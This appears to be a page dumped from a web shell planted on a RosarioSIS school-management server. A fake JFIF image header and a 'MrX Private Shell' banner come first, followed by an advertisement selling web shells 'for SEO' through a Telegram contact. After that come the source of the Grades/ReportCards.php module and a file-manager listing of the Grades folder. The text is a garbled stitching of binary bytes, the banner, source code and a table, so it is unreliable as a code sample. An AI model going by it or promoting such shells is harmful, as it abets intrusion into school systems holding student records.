����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// Should be included first, in case modfunc is Class Rank Calculate AJAX.
require_once 'modules/Grades/includes/ClassRank.inc.php';
require_once 'modules/Grades/includes/ReportCards.fnc.php';
require_once 'ProgramFunctions/MarkDownHTML.fnc.php';
require_once 'ProgramFunctions/Template.fnc.php';
require_once 'ProgramFunctions/Substitutions.fnc.php';
if ( $_REQUEST['modfunc'] === 'save' )
{
if ( isset( $_REQUEST['mp_arr'] )
&& isset( $_REQUEST['st_arr'] ) )
{
if ( ! empty( $_REQUEST['elements']['freetext'] )
&& User( 'PROFILE' ) === 'admin' )
{
// Bypass strip_tags on the $_REQUEST vars.
$REQUEST_inputfreetext = DBEscapeString( SanitizeHTML( $_POST['inputfreetext'] ) );
SaveTemplate( $REQUEST_inputfreetext );
}
$report_cards = ReportCardsGenerate( $_REQUEST['st_arr'], $_REQUEST['mp_arr'] );
/**
* Report Cards array hook action.
*
* @since 4.0
*/
do_action( 'Grades/ReportCards.php|report_cards_html_array' );
if ( $report_cards )
{
// Insert page breaks
$report_cards_html = implode(
'<div style="page-break-after: always;"></div>',
$report_cards
);
// PDF
$handle = PDFStart();
echo $report_cards_html;
PDFStop( $handle );
}
else
{
BackPrompt(
sprintf(
_( 'No %s were found.' ),
mb_strtolower( ngettext( 'Final Grade', 'Final Grades', 0 ) )
)
);
}
}
else
{
BackPrompt( _( 'You must choose at least one student and one marking period.' ) );
}
}
if ( ! $_REQUEST['modfunc'] )
{
DrawHeader( ProgramTitle() );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<form action="' . PreparePHP_SELF(
$_REQUEST,
[ 'search_modfunc' ],
[ 'modfunc' => 'save', '_ROSARIO_PDF' => 'true' ]
) . '" method="POST">';
$extra['header_right'] = Buttons( _( 'Create Report Cards for Selected Students' ) );
$extra['extra_header_left'] = ReportCardsIncludeForm();
// @since 4.5 Add Report Cards header action hook.
do_action( 'Grades/ReportCards.php|header' );
}
$extra['new'] = true;
$extra['link'] = [ 'FULL_NAME' => false ];
$extra['SELECT'] = ",s.STUDENT_ID AS CHECKBOX";
$extra['functions'] = [ 'CHECKBOX' => 'MakeChooseCheckbox' ];
$extra['columns_before'] = [
'CHECKBOX' => MakeChooseCheckbox( 'Y_required', '', 'st_arr' )
];
$extra['options']['search'] = false;
// Parent: associated students.
$extra['ASSOCIATED'] = User( 'STAFF_ID' );
Widgets( 'course' );
Search( 'student_id', $extra );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<br /><div class="center">' .
Buttons( _( 'Create Report Cards for Selected Students' ) ) . '</div>';
echo '</form>';
// MPs, including History MPs, only for current School Year.
$mps_RET = DBGet( "SELECT MARKING_PERIOD_ID
FROM marking_periods
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'
AND DOES_GRADES='Y'" );
foreach ( (array) $mps_RET as $mp )
{
// @since 4.7 Automatic Class Rank calculation.
ClassRankMaybeCalculate( $mp['MARKING_PERIOD_ID'] );
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AnomalousGrades.php | File | 7 KB | 0644 |
|
| Assignments-new.php | File | 16.22 KB | 0644 |
|
| Assignments.php | File | 33 KB | 0644 |
|
| Configuration.php | File | 14.5 KB | 0644 |
|
| EditHistoryMarkingPeriods.php | File | 5.47 KB | 0644 |
|
| EditReportCardGrades.php | File | 16.56 KB | 0644 |
|
| FinalGrades.php | File | 18.44 KB | 0644 |
|
| GPARankList.php | File | 2.71 KB | 0644 |
|
| GradeBreakdown.php | File | 5.16 KB | 0644 |
|
| GradebookBreakdown.php | File | 13.13 KB | 0644 |
|
| Grades.php | File | 42.87 KB | 0644 |
|
| HonorRoll.php | File | 3.63 KB | 0644 |
|
| InputFinalGrades.php | File | 48.09 KB | 0644 |
|
| MassCreateAssignments.php | File | 18.08 KB | 0644 |
|
| Menu.php | File | 3.19 KB | 0644 |
|
| ProgressReports.php | File | 18.06 KB | 0644 |
|
| ReportCardCommentCodes.php | File | 8.18 KB | 0644 |
|
| ReportCardComments.php | File | 14.78 KB | 0644 |
|
| ReportCardGrades.php | File | 12 KB | 0644 |
|
| ReportCards.php | File | 2.98 KB | 0644 |
|
| StudentAssignments.php | File | 1.74 KB | 0644 |
|
| StudentGrades.php | File | 26.83 KB | 0644 |
|
| TeacherCompletion.php | File | 5.86 KB | 0644 |
|
| Transcripts.php | File | 3.22 KB | 0644 |
|